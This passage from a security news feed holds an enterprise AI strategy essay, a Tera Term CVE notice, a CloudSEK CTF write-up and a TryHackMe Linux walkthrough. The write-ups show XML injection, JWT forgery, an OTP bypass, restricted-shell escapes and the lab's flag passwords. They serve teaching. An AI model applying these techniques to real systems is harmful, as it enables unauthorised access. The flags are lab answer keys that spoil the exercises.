					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">For three decades, enterprise software has been a buy-it decision. Packaged software from SAP, Oracle and Salesforce covered roughly 80% of requirements at a fraction of the cost of building. The economics were obvious, and for traditional applications, they still are.</p>



<p class="wp-block-paragraph">AI is introducing a wrinkle that is forcing even the most committed enterprise software customers to rethink their options. AI is a layer that sits across your data, your processes, and your decisions. Where that layer runs and who controls it is an architecture question, and most of the enterprise community is still treating it as a procurement one.</p>



<p class="wp-block-paragraph">The appeal of vendor-embedded AI is clear: automated operational decisions, smarter supplier and merchandising choices, and friction-free workflows built into the systems enterprises already rely on. The catch is that these capabilities almost universally depend on your data living in the vendor’s cloud environment. For most large enterprises, it sits on-premises, in hyperscale cloud infrastructure they manage themselves, or in private data centers. That gap between where your data is and where your vendor’s AI assumes it should be creates a fundamental strategic fork in the road.</p>



<h2 class="wp-block-heading"><a></a>Build vs. buy is a category error</h2>



<p class="wp-block-paragraph">The framing I keep hearing is “build vs. buy your AI strategy.” It implies that some organizations are out there training foundation models from scratch. Nobody serious is doing that. The real choice sits across three distinct approaches, and conflating them leads to poor decisions:</p>



<ul class="wp-block-list">
<li><strong>Buy embedded. </strong>Use the AI capabilities your vendor ships natively inside their platform: the assistant baked into your ERP, your CRM, your HCM suite. Lowest integration cost, fastest time to value, tightest fit with the application data.</li>



<li><strong>Buy platform.</strong> Adopt the vendor’s AI infrastructure layer and build your own assistants and agents on top of it. More flexible, but you remain inside the vendor’s architectural boundary and subject to their governance model.</li>



<li><strong>Compose.</strong> Connect a third-party model (Claude, GPT, Gemini, an open-weight model running in your own environment) directly to your existing landscape. Maximum control, maximum integration burden, and full responsibility for what comes out the other end.</li>
</ul>



<p class="wp-block-paragraph">These are not equivalent options at different price points. They make different assumptions about where your data lives, who governs the AI, and how much architectural change you’ll absorb to get there. Vendor pitches sometimes blur the distinction on purpose. Enterprise leaders can’t afford to.</p>



<h2 class="wp-block-heading"><a></a>The vendor AI stack has an assumption baked in</h2>



<p class="wp-block-paragraph">Every embedded AI capability ships with an unstated architectural prerequisite: your data must be where the AI can see it, in the shape it expects, under the governance the vendor enforces.</p>



<p class="wp-block-paragraph">For organizations with clean, modern cloud estates, that is often a reasonable trade. For the long tail of large enterprises running heavily customized environments on private or hybrid infrastructure, that trade becomes a precondition, one you must meet before the AI conversation can even begin. Whether meeting it makes sense depends on your starting point, your sector’s regulatory posture, and your appetite for migration risk. None of those are uniform across organizations.</p>



<p class="wp-block-paragraph">That’s the part that gets glossed over in vendor keynotes. The AI demo on stage assumes a destination architecture the audience hasn’t necessarily reached yet. Large enterprise customers are carrying an unusually heavy technology burden right now. Many are simultaneously managing platform modernization programs that have been building for over a decade, alongside pressure to migrate to vendor-managed cloud infrastructure. Sitting above both is a boardroom-level directive to demonstrate meaningful AI progress fast. The vendor path to AI and the boardroom path to AI can diverge sharply, and enterprises need to make selective, strategic decisions about where to adopt AI first to maximize value and minimize risk.</p>



<h2 class="wp-block-heading"><a></a>Sovereignty isn’t a slogan, it’s an architecture constraint</h2>



<p class="wp-block-paragraph">The conversation about sovereignty has been hijacked by both sides. One camp treats every SaaS adoption as a sovereignty violation. The other dismisses every sovereignty concern as Luddite resistance. Neither is useful.</p>



<p class="wp-block-paragraph">What’s happening in real customer conversations – particularly in DACH, public sector, and financial services – is more specific. Organizations are drawing a distinction between running their applications in a vendor’s cloud (which is broadly fine, well understood, decades of precedent) and enriching their data and processes inside a vendor’s AI model (which has less precedent, is harder to reverse, and carries material implications for competitive position).</p>



<p class="wp-block-paragraph">Enriching your data inside a vendor’s AI model is the genuinely new question, and organizations that conflate it with their existing cloud posture tend to defend the wrong perimeter.</p>



<p class="wp-block-paragraph">Despite spending around $100 million annually with Amazon, <a href="https://www.uctoday.com/unified-communications/disney-openai-enterprise-strategy/">Disney built its own internal AI system</a> to house its corporate intelligence rather than rely on a hyperscaler’s AI offering. The decision came down to control. When your data represents decades of creative and commercial IP, you think carefully about where it lives and who can learn from it. Disney has become more open to SaaS over time. The AI sovereignty question is a separate debate from the SaaS debate and conflating the two leads organizations to the wrong conclusions.</p>



<p class="wp-block-paragraph">At the other end of the spectrum, enterprises in heavily regulated environments treat data sovereignty as an absolute non-negotiable. Any AI model must run within their controlled environment, especially where sensitive data cannot touch the public internet.<a href="https://gdpr.eu/what-is-gdpr/"> </a><a href="https://gdpr.eu/what-is-gdpr/">GDPR obligations</a> reinforce this instinct across the European market, requiring organizations to maintain clear accountability for how personal data is processed inside AI systems, including vendor-managed ones.</p>



<p class="wp-block-paragraph">AI-enriched data, meaning models that have learned the shape of your business processes, your supplier negotiations, your customer behavior, carries a different half-life and a different strategic value than the operational data underneath it. That deserves its own architectural decision, separate from your broader cloud strategy.<a></a></p>



<h2 class="wp-block-heading">What this means in practice</h2>



<p class="wp-block-paragraph">Most large enterprise estates will end up with a mix of all three approaches, and where you draw the lines matters more than your overall posture.</p>



<p class="wp-block-paragraph">Embedded AI capabilities are the right answer for in-application productivity: the assistant inside your ERP workflows, the agent inside your procurement or HR suite. That is where vendor embedding genuinely shines, and attempting to compose your own equivalent is typically a poor use of engineering resources.</p>



<p class="wp-block-paragraph">Compose belongs elsewhere: in cross-application orchestration, in custom assistants over operational and observability data, and in agents that need to reach across multiple vendor systems and infrastructure layers in ways no single vendor stack will never natively support. <a href="https://www.mckinsey.com/capabilities/mckinsey-digital/our-insights/the-top-trends-in-tech">Research from McKinsey</a> suggests the most significant near-term productivity gains from enterprise AI will come precisely from these cross-system workflows, rather than from within individual applications. The most interesting enterprise AI work over the next eighteen months lives here, and it doesn’t require waiting for a migration to complete first.</p>



<p class="wp-block-paragraph">That compose path isn’t free, and it’s important to be honest about the costs. Governance, audit trails, and accountability for hallucinated outputs become your problem, not the vendor’s. Prompt drift and evaluation discipline are real engineering costs that never appear in the proof-of-concept. Those costs scale with the complexity of your landscape and the number of systems your agents touch. Budget for them before deployment, not after your first production incident. None of that is a reason to avoid the path. It’s a reason to staff for it, honestly.<a></a></p>



<h2 class="wp-block-heading">The real question</h2>



<p class="wp-block-paragraph">The build-vs-buy frame survives because it gives executives a binary choice along a familiar axis. AI sits somewhere else entirely.</p>



<p class="wp-block-paragraph">The question worth putting on the table at your next architecture review is simpler:</p>



<p class="wp-block-paragraph">Which decisions do we want our vendors’ AI to make, and which do we want to keep on our side of the boundary?</p>



<p class="wp-block-paragraph">Answer that, and the right build/buy/compose mix flows from it. Skip it, and you will end up with the architecture your vendors prefer – which may or may not be the one your business needs.</p>



<p class="wp-block-paragraph"><strong>This article is published as part of the Foundry Expert Contributor Network.</strong><br><a href="https://www.cio.com/expert-contributor-network/"><strong>Want to join?</strong></a></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[CVE-2026-58317 | TeraTerm Project Tera Term up to 3.6.1 SSH Connection unsigned conversion (EUVD-2026-45140)]]></title>
<description><![CDATA[A vulnerability classified as critical has been found in TeraTerm Project Tera Term up to 3.6.1. The impacted element is an unknown function of the component SSH Connection Handler. Performing a manipulation results in unsigned to signed conversion error.

This vulnerability is cataloged as CVE-2...]]></description>
<link>https://tsecurity.de/de/3675314/sicherheitsluecken/cve-2026-58317-teraterm-project-tera-term-up-to-361-ssh-connection-unsigned-conversion-euvd-2026-45140/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675314/sicherheitsluecken/cve-2026-58317-teraterm-project-tera-term-up-to-361-ssh-connection-unsigned-conversion-euvd-2026-45140/</guid>
<pubDate>Fri, 17 Jul 2026 09:10:25 +0200</pubDate>
<category>🕵️ Sicherheitslücken</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[A vulnerability classified as <a href="https://vuldb.com/kb/risk">critical</a> has been found in <a href="https://vuldb.com/product/teraterm_project:tera_term">TeraTerm Project Tera Term up to 3.6.1</a>. The impacted element is an unknown function of the component <em>SSH Connection Handler</em>. Performing a manipulation results in unsigned to signed conversion error.

This vulnerability is cataloged as <a href="https://vuldb.com/cve/CVE-2026-58317">CVE-2026-58317</a>. It is possible to initiate the attack remotely. There is no exploit available.]]></content:encoded>
</item>
<item>
<title><![CDATA[CloudSEK CTF Writeup]]></title>
<description><![CDATA[CloudSEK CTF was a fun and technically enriching challenge set covering scripting automation, web vulnerabilities, Android OSINT, JWT manipulation, and authentication bypass techniques. This write-up documents my approach and methodology for the challenges I solved.Nitro Nitro 100 Ready your scri...]]></description>
<link>https://tsecurity.de/de/3675300/hacking/cloudsek-ctf-writeup/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675300/hacking/cloudsek-ctf-writeup/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:41 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>CloudSEK CTF was a fun and technically enriching challenge set covering scripting automation, web vulnerabilities, Android OSINT, JWT manipulation, and authentication bypass techniques. This write-up documents my approach and methodology for the challenges I solved.</p><ol><li>Nitro <br>Nitro 100 Ready your scripts! Only automation will beat the clock<br>and unlock the flag. <a href="http://15.206.47.5:9090/">http://15.206.47.5:9090</a></li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tBo8eCE4GuUFvIbHxwXLIQ.png"></figure><p>Method:<br>Random string on <a href="http://15.206.47.5:9090/task">http://15.206.47.5:9090/task</a> :<br>Here is the input string: Vr9jz8d13k6K<br>Things need to don in script:<br>Reverse the string ,encode with base64, wrap it in the given format<br>and submit the string.</p><pre>import requests<br>import base64<br>import re<br><br>BASE = "http://15.206.47.5:9090"<br>session = requests.Session()<br><br>TOKEN_REGEX = re.compile(r"input string:\s*([A-Za-z0-9+/=]+)")<br><br>def extract_token(html):<br>    m = TOKEN_REGEX.search(html)<br>    if not m:<br>        raise ValueError("Token not found")<br>    return m.group(1)<br><br>def build_payload(s):<br>    rev = s[::-1]<br>    b64 = base64.b64encode(rev.encode()).decode()<br>    return f"CSK__{b64}__2025"<br><br>print("[*] Automation loop started...")<br><br>while True:<br>    try:<br>        r_task = session.get(f"{BASE}/task", timeout=3)<br>        token = extract_token(r_task.text)<br>        payload = build_payload(token)<br><br>        r_submit = session.post(f"{BASE}/submit", data=payload, timeout=3)<br><br>        print("Token:", token)<br>        print("Response:", r_submit.text.strip())<br>        print("-" * 40)<br><br>        if "flag" in r_submit.text.lower():<br>            print("FLAG FOUND!")<br>            break<br>    except Exception as e:<br>        print("Error:", e)</pre><p>Got the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W8VWHZVanwdhBi-vWq2ryw.png"></figure><p>2. Bad Feedback:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*HPOHwCzR39qxV_2eaPYiWA.png"></figure><p>Method:The data in feedback form is sent in xml and client side js script is<br>visible. So I got the idea that this can be vulnerable to xml<br>injection. I tested it with a simple payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TloA06hGTSDzNCA82jkfqA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WkcqEf_XTMJm-jAh2n0UbA.png"></figure><p>Got the flag using this payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vbO-3K3ebxiSIcTjS2i_NA.png"></figure><p>3. Ticket:<br>Strike Bank recently discovered unusual activity in their<br>customer portal. During a routine review of their Android app,<br>several clues were uncovered. Your mission is to investigate<br>the information available, explore the associated portal, and<br>uncover the hidden flag. Everything you need is already out<br>there! Connect the dots and complete the challenge.<br>The android package is com.strikebank.netbanking and the<br>security review was conducted via bevigil.com.<br>Report can also be viewed by visiting the URL with the<br>following format: <a href="https://bevigil.com/report/">https://bevigil.com/report/</a>&lt;package_name&gt;<br>Method:<br>Report: <a href="https://bevigil.com/report/com.strikebank.netbanking">https://bevigil.com/report/com.strikebank.netbanking</a><br>Explore the report to get the url of the Vulnerable<br>website(Strike Bank).<br>Website — 15.206.47.5.nip.io</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r9EfksKmO4mWKkHsmWJRtA.png"></figure><p>Exploring strings we got the jwt secret and default<br>credentials .<br>Username — tuhin1729<br>Password: 123456</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ceoqNB0Zbx3uh_0xuFe9tA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dS7hzF3lf9Hc_P_NC1Xrew.png"></figure><p>After logging with these credentials I got a jwt token assigned<br>to tuhin1729 user. I replaced the jwt token with a custom<br>made jwt token. And got the flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CySvzIXHpSS42Lx8lPycIQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lzRCMQvXUty6isManPhXHg.png"></figure><p>4.​Triangle<br>The system guards its secrets behind a username, a<br>password, and three sequential verification steps. Only those<br>who truly understand how the application works will pass all<br>three.<br>Explore carefully. Look for what others overlooked. Break the<br>Trinity and claim the flag.<br><a href="http://15.206.47.5:8080/">http://15.206.47.5:8080</a><br>Method:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wq801UCd4CMTftCycrlAGg.png"></figure><p>As i have to bypass this login portal i start with sql injection<br>but after trying sql injection and roaming around in website<br>code i see an html comment for Dev Team 2 that to make<br>changes in google2fa.php file and remove .bak file.<br>I tried to access <a href="http://15.206.47.5:8080/google2fa.php">http://15.206.47.5:8080/google2fa.php</a> but<br>didn’t get the file then i tried<br><a href="http://15.206.47.5:8080/google2fa.php.bak">http://15.206.47.5:8080/google2fa.php.bak</a> and got the bak<br>file. ​<br>Then I also got the login.php.bak file which has the php<br>code.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/689/1*ie7fIuZG0AEdlFs4iW51TA.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/839/1*xDxFUzlyCJFGA84dir-Jkg.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*QNo7jc2x-WyKbX5152MVVQ.png"></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/926/1*ZW_ac2ZcKlOEEt183KA0ng.png"></figure><p>From the login.php.bak file I got the username and password<br>which is admin and admin.<br>The google2fa.php.bak has logic that shows how the otp is<br>generated .<br>​<br>By reviewing the code I tried payload to bypass the otp login<br>functionality, as it compares the otp which is generated using<br>google2fa.php.<br>I tried “00000” as otp but it didn’t work. Then I tried sending blank fields<br>request that also didn’t work, then I tried “true” as OTP which works and<br>led us to our flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IXOwLLx-KIs8oE-H98nm-A.png"></figure><p>Thanks for reading:)</p><img src="https://medium.com/_/stat?event=post.clientViewed&amp;referrerSource=full_rss&amp;postId=cfdaf6462b99" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/cloudsek-ctf-writeup-cfdaf6462b99">CloudSEK CTF Writeup</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[TryHackMe — Linux Agency | Complete Write-Up & Walkthrough]]></title>
<description><![CDATA[“Agent 47, your mission begins. 30 targets stand between you and the root.”Author: Shikhali JamalzadeGitHub: github.com/alisaliveLinkedIn: linkedin.com/in/camalzads📋 Room OverviewPlatform TryHackMe Room Name Linux Agency Link https://tryhackme.com/room/linuxagency Difficulty Medium Category Linux...]]></description>
<link>https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3675298/hacking/tryhackme-linux-agency-complete-write-up-walkthrough/</guid>
<pubDate>Fri, 17 Jul 2026 09:09:38 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KSkSbmZiLuuvwoZUpWjb2w.png"></figure><blockquote>“Agent 47, your mission begins. 30 targets stand between you and the root.”<br>Author: <a href="https://medium.com/u/20557ba7487d">Shikhali Jamalzade</a><br>GitHub<strong>:</strong> <a href="https://github.com/alisalive">github.com/alisalive</a><br>LinkedIn<strong>:</strong> <a href="https://linkedin.com/in/camalzads">linkedin.com/in/camalzads</a></blockquote><h3>📋 Room Overview</h3><p><strong>Platform</strong> TryHackMe <br><strong>Room Name</strong> Linux Agency <br><strong>Link</strong> <a href="https://tryhackme.com/room/linuxagency">https://tryhackme.com/room/linuxagency</a> <br><strong>Difficulty</strong> Medium <br><strong>Category</strong> Linux Fundamentals + Privilege Escalation <br><strong>Initial Access</strong> SSH (agent47)</p><h3>🎯 About This Room</h3><p><strong>Linux Agency</strong> is one of the most comprehensive Linux-focused rooms on TryHackMe. You play the role of <strong>Agent 47</strong> — a secret agent tasked with infiltrating the ICA Agency, chaining through <strong>30 mission accounts</strong>, eliminating special targets, and ultimately achieving <strong>root</strong>.</p><p>This room goes far beyond basic Linux commands — it forces you to think like a real penetration tester. Topics covered:</p><ul><li>🐧 Deep Linux fundamentals (hidden files, permissions, environment variables)</li><li>💻 Multiple programming languages (Python, Ruby, Java, C)</li><li>🔐 Encoding/decoding (Base64, Binary, Hex)</li><li>📅 Cron job exploitation</li><li>⚡ Sudo privilege escalation via GTFOBins</li><li>🐳 Docker privilege escalation</li><li>🔑 SSH private key cracking</li></ul><h3>🛠️ Tools Used</h3><ul><li>ssh, su, find, grep, cat, ls, strings, file</li><li>base64, xxd</li><li>gcc, javac, java, python3, ruby</li><li>netcat (nc)</li><li>ssh2john + john (John the Ripper)</li><li>ss (socket statistics)</li><li>GTFOBins</li><li>Docker</li></ul><h3>⚙️ Setup</h3><p>Start the machine on TryHackMe and wait about a minute. Then connect:</p><pre>ssh agent47@&lt;MACHINE_IP&gt;</pre><p><strong>Password:</strong> 640509040147</p><p>Once connected you’ll see:</p><pre>agent47@linuxagency:~$</pre><p>The mission begins. 🚀</p><h3>🗂️ Task 2: Initial Access</h3><p>The room’s mechanic is straightforward:</p><ul><li>Every flag found acts as the <strong>password</strong> for the next user</li><li>Flag format: missionX{md5_hash}</li><li>Chain: agent47 → mission1 → mission2 → ... → mission30 → viktor → ...</li></ul><h3>🔍 Task 3: Linux Fundamentals (Mission 1–30 + Viktor)</h3><h3>🎯 Mission 1</h3><p>As <strong>agent47</strong>, the first task is finding mission1’s flag.</p><pre>find / -type f -name "*.txt" 2&gt;/dev/null<br># Or directly check:<br>ls /home/mission1/<br>cat /home/mission1/&lt;flag_file&gt;</pre><p>Now switch to mission1:</p><pre>su mission1<br># Password: mission1{174dc8f191bcbb161fe25f8a5b58d1f0}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>find for filesystem-wide searching, understanding the </em><em>/home directory structure.</em></blockquote><h3>🎯 Mission 2</h3><p>As <strong>mission1</strong>:</p><pre>find / -type f -name "mission2" 2&gt;/dev/null<br>cat &lt;found_path&gt;</pre><pre>su mission2<br># Password: mission2{8a1b68bb11e4a35245061656b5b9fa0d}</pre><h3>🎯 Mission 3</h3><pre># As mission2:<br>grep -r "mission3" . 2&gt;/dev/null</pre><pre>su mission3<br># Password: mission3{ab1e1ae5cba688340825103f70b0f976}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>grep -r for recursive content searching across directories.</em></blockquote><h3>🎯 Mission 4</h3><pre># As mission3:<br>cd /home/mission3<br>ls<br>cat flag.txt</pre><pre>su mission4<br># Password: mission4{264a7eeb920f80b3ee9665fafb7ff92d}</pre><h3>🎯 Missions 5–8</h3><p>These follow a similar pattern — searching the filesystem:</p><pre># As mission4:<br>grep -r "mission5" / 2&gt;/dev/null<br>su mission5<br># Password: mission5{bc67906710c3a376bcc7bd25978f62c0}</pre><pre># As mission5:<br>grep -r "mission6" / 2&gt;/dev/null<br>su mission6<br># Password: mission6{1fa67e1adc244b5c6ea711f0c9675fde}</pre><pre># As mission6:<br>grep -r "mission7" / 2&gt;/dev/null<br>su mission7<br># Password: mission7{53fd6b2bad6e85519c7403267225def5}</pre><pre># As mission7:<br>grep -r "mission8" / 2&gt;/dev/null<br>su mission8<br># Password: mission8{3bee25ebda7fe7dc0a9d2f481d10577b}</pre><h3>🎯 Mission 9</h3><pre># As mission8:<br>ls<br>cat flag.txt</pre><pre>su mission9<br># Password: mission9{ba1069363d182e1c114bef7521c898f5}</pre><h3>🎯 Missions 10–11</h3><pre># As mission9:<br>grep -r "mission10" / 2&gt;/dev/null<br>su mission10<br># Password: mission10{0c9d1c7c5683a1a29b05bb67856524b6}</pre><pre># As mission10:<br>grep -r "mission11" / 2&gt;/dev/null<br>su mission11<br># Password: mission11{db074d9b68f06246944b991d433180c0}</pre><h3>🎯 Mission 12 — Environment Variable</h3><p>This time the flag is hidden inside an <strong>environment variable</strong>, not a file!</p><pre># As mission11:<br>env | grep mission12</pre><pre>su mission12<br># Password: mission12{f449a1d33d6edc327354635967f9a720}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>env command lists all environment variables. In real-world pentesting, environment variables frequently contain credentials, API keys, and sensitive data — always check them!</em></blockquote><h3>🎯 Mission 13 — File Permissions</h3><pre># As mission12:<br>ls -la /home/mission12/<br># flag.txt exists but you have no read permission!<br>chmod 777 /home/mission12/flag.txt<br>cat /home/mission12/flag.txt</pre><pre>su mission13<br># Password: mission13{076124e360406b4c98ecefddd13ddb1f}</pre><blockquote><strong>💡 What we learned:</strong><em> Linux file permissions and </em><em>chmod. Always use </em><em>ls -la — the </em><em>-a flag reveals hidden files and the </em><em>-l flag shows permissions clearly.</em></blockquote><h3>🎯 Mission 14 — Base64 Decode</h3><pre># As mission13:<br>cat /home/mission13/flag.txt | base64 -d</pre><pre>su mission14<br># Password: mission14{d598de95639514b9941507617b9e54d2}</pre><blockquote><strong>💡 What we learned:</strong><em> Base64 encoding/decoding. Strings ending with </em><em>= or </em><em>== are almost always Base64-encoded. The </em><em>base64 -d flag decodes them directly in the terminal.</em></blockquote><h3>🎯 Mission 15 — Binary → ASCII</h3><pre># As mission14:<br>cat /home/mission14/flag.txt<br># You'll see binary digits: 01101101 01101001 ...</pre><p>Convert the binary to ASCII using Python:</p><pre>python3 -c "<br>binary = '01101101 01101001 01110011 01110011 01101001 01101111 01101110 00110001 00110101'<br>chars = binary.split()<br>result = ''.join([chr(int(b, 2)) for b in chars])<br>print(result)<br>"</pre><p>Or use an online tool: <a href="https://www.rapidtables.com/convert/number/binary-to-ascii.html">https://www.rapidtables.com/convert/number/binary-to-ascii.html</a></p><pre>su mission15<br># Password: mission15{fc4915d818bfaeff01185c3547f25596}</pre><blockquote><strong>💡 What we learned:</strong><em> Binary → ASCII conversion. Recognizing encoding formats on sight is a key CTF skill.</em></blockquote><h3>🎯 Mission 16 — Hex → ASCII</h3><pre># As mission15:<br>cat /home/mission15/flag.txt | xxd -r -p</pre><p>xxd -r -p converts a raw hex string directly back to ASCII.</p><pre>su mission16<br># Password: mission16{884417d40033c4c2091b44d7c26a908e}</pre><blockquote><strong>💡 What we learned:</strong><em> Hex decoding. </em><em>xxd dumps hex (-p for plain hex), and with </em><em>-r it reverses the process.</em></blockquote><h3>🎯 Mission 17 — Execute Permission</h3><pre># As mission16:<br>ls -la /home/mission16/<br># There's a 'flag' binary but it has no execute permission<br>chmod u+x /home/mission16/flag<br>./flag</pre><pre>su mission17<br># Password: mission17{49f8d1348a1053e221dfe7ff99f5cbf4}</pre><h3>🎯 Mission 18 — Java</h3><pre># As mission17:<br>ls /home/mission17/<br># flag.java found<br>cd /home/mission17/<br>javac flag.java      # Compile<br>java flag            # Run</pre><pre>su mission18<br># Password: mission18{f09760649986b489cda320ab5f7917e8}</pre><blockquote><strong>💡 What we learned:</strong><em> Java compilation workflow: </em><em>javac compiles </em><em>.java → </em><em>.class, then </em><em>java runs the class.</em></blockquote><h3>🎯 Mission 19 — Ruby</h3><pre># As mission18:<br>ruby /home/mission18/flag.rb</pre><pre>su mission19<br># Password: mission19{a0bf41f56b3ac622d808f7a4385254b7}</pre><h3>🎯 Mission 20 — C Language</h3><pre># As mission19:<br>cd /home/mission19/<br>gcc flag.c -o flag   # Compile<br>./flag               # Run</pre><pre>su mission20<br># Password: mission20{b0482f9e90c8ad2421bf4353cd8eae1c}</pre><blockquote><strong>💡 What we learned:</strong><em> C compilation: </em><em>gcc source.c -o output_name then </em><em>./output_name to execute.</em></blockquote><h3>🎯 Mission 21 — Python</h3><pre># As mission20:<br>python3 /home/mission20/flag.py</pre><pre>su mission21<br># Password: mission21{7de756aabc528b446f6eb38419318f0c}</pre><h3>🎯 Mission 22 — Restricted Shell Escape (script)</h3><p>When you log in as <strong>mission21</strong>, you’re dropped into a restricted shell. Escape using:</p><pre>script -qc /bin/bash /dev/null</pre><p>This spawns a full bash shell. Now check .bashrc:</p><pre>cat ~/.bashrc<br># You'll find a Base64-encoded string<br>echo '&lt;base64_string&gt;' | base64 -d</pre><pre>su mission22<br># Password: mission22{24caa74eb0889ed6a2e6984b42d49aaf}</pre><blockquote><strong>💡 What we learned:</strong><em> Restricted shell escape using the </em><em>script command, which opens a new terminal session. Always check </em><em>.bashrc and </em><em>.bash_profile — attackers hide data there, and defenders do too.</em></blockquote><h3>🎯 Mission 23 — Python Interpreter Shell Escape</h3><p>Logging in as <strong>mission22</strong> drops you into a Python REPL. Escape to bash:</p><pre>import pty<br>pty.spawn("/bin/bash")</pre><p>Now read the flag:</p><pre>cat /home/mission22/flag.txt</pre><pre>su mission23<br># Password: mission23{3710b9cb185282e3f61d2fd8b1b4ffea}</pre><blockquote><strong>💡 What we learned:</strong><em> Python </em><em>pty.spawn() for shell escape — this is also a standard technique for upgrading dumb reverse shells to fully interactive TTYs in real engagements!</em></blockquote><h3>🎯 Mission 24 — Virtual Host + cURL</h3><pre># As mission23:<br>cat /home/mission23/message.txt<br>cat /etc/hosts<br># You'll see mission24.com mapped to 127.0.0.1<br>curl http://mission24.com -s | grep mission</pre><pre>su mission24<br># Password: mission24{dbaeb06591a7fd6230407df3a947b89c}</pre><blockquote><strong>💡 What we learned:</strong><em> Virtual hosting — the </em><em>/etc/hosts file acts as a local DNS resolver. In real engagements, always check </em><em>/etc/hosts for internal hostnames that reveal additional attack surface.</em></blockquote><h3>🎯 Mission 25 — Binary Analysis + viminfo</h3><pre># As mission24:<br>ls /home/mission24/<br>file bribe              # Check the file type<br>./bribe                 # Execute it — it writes to .viminfo<br>grep mission /home/mission24/.viminfo</pre><pre>su mission25<br># Password: mission25{61b93637881c87c71f220033b22a921b}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>file command identifies file types regardless of extension. </em><em>.viminfo is a hidden file storing Vim history — always run </em><em>ls -la to catch hidden files!</em></blockquote><h3>🎯 Mission 26 — PATH Manipulation</h3><p>Logging in as <strong>mission25</strong> gives you a broken environment — commands don’t work because $PATH is corrupted.</p><pre>echo $PATH<br># Empty or wrong PATH</pre><pre>export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin<br>ls -lhA<br>cat flag.txt</pre><pre>su mission26<br># Password: mission26{cb6ce977c16c57f509e9f8462a120f00}</pre><blockquote><strong>💡 What we learned:</strong><em> The </em><em>$PATH environment variable defines where the shell looks for executables. This concept is the foundation of PATH hijacking attacks — one of the most common Linux PrivEsc vectors.</em></blockquote><h3>🎯 Mission 27 — Steganography with strings</h3><pre># As mission26:<br>ls /home/mission26/<br>strings -n 20 /home/mission26/flag.jpg</pre><p>strings extracts human-readable strings from binary files. -n 20 filters results to strings of at least 20 characters.</p><pre>su mission27<br># Password: mission27{444d29b932124a48e7dddc0595788f4d}</pre><blockquote><strong>💡 What we learned:</strong><em> Basic steganography — data hidden inside image files. </em><em>strings is a quick first step when analyzing any binary or media file during a CTF or real engagement.</em></blockquote><h3>🎯 Mission 28 — Absurdly Long Filename</h3><pre># As mission27:<br>ls /home/mission27/<br>less flag.mp3.mp4.exe.elf.tar.php.ipynb.py.rb.html.css.zip.gz.jpg.png.gz</pre><p>Yes, the filename is exactly that long. less handles it fine.</p><pre>su mission28<br># Password: mission28{03556f8ca983ef4dc26d2055aef9770f}</pre><h3>🎯 Mission 29 — Ruby Interpreter + Reverse String</h3><p>Logging in as <strong>mission28</strong> drops you into a Ruby REPL.</p><p><strong>Option 1 — Escape to shell:</strong></p><pre>exec "/bin/bash"</pre><p><strong>Option 2 — Read the file directly from Ruby:</strong></p><pre>Dir.chdir("/home/mission28")<br>puts File.open("txt.galf").readlines</pre><p>The flag is written in reverse! You’ll see something like:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'</pre><p>Reverse it:</p><pre>'}1fff2ad47eb52e68523621b8d50b2918{92noissim'.reverse</pre><pre>su mission29<br># Password: mission29{8192b05d8b12632586e25be74da2fff1}</pre><blockquote><strong>💡 What we learned:</strong><em> Ruby interpreter escape. String reversal is a common obfuscation technique in CTFs. Also notice the filename </em><em>txt.galf — that's </em><em>flag.txt reversed!</em></blockquote><h3>🎯 Mission 30 — Bludit CMS Enumeration</h3><pre># As mission29:<br>ls /home/mission29/<br>grep -rn "mission30" /home/mission29/bludit/</pre><p>The flag is buried inside Bludit CMS’s file structure.</p><pre>su mission30<br># Password: mission30{d25b4c9fac38411d2fcb4796171bda6e}</pre><h3>🎯 Viktor — Git History</h3><pre># As mission30:<br>ls /home/mission30/<br>cd /home/mission30/Escalator/<br>git --no-pager log</pre><p>Browse the git commit history — the flag is hidden in there.</p><pre>su viktor<br># Password: viktor{b52c60124c0f8f85fe647021122b3d9a}</pre><blockquote><strong>💡 What we learned:</strong><em> </em><em>git log reveals commit history. 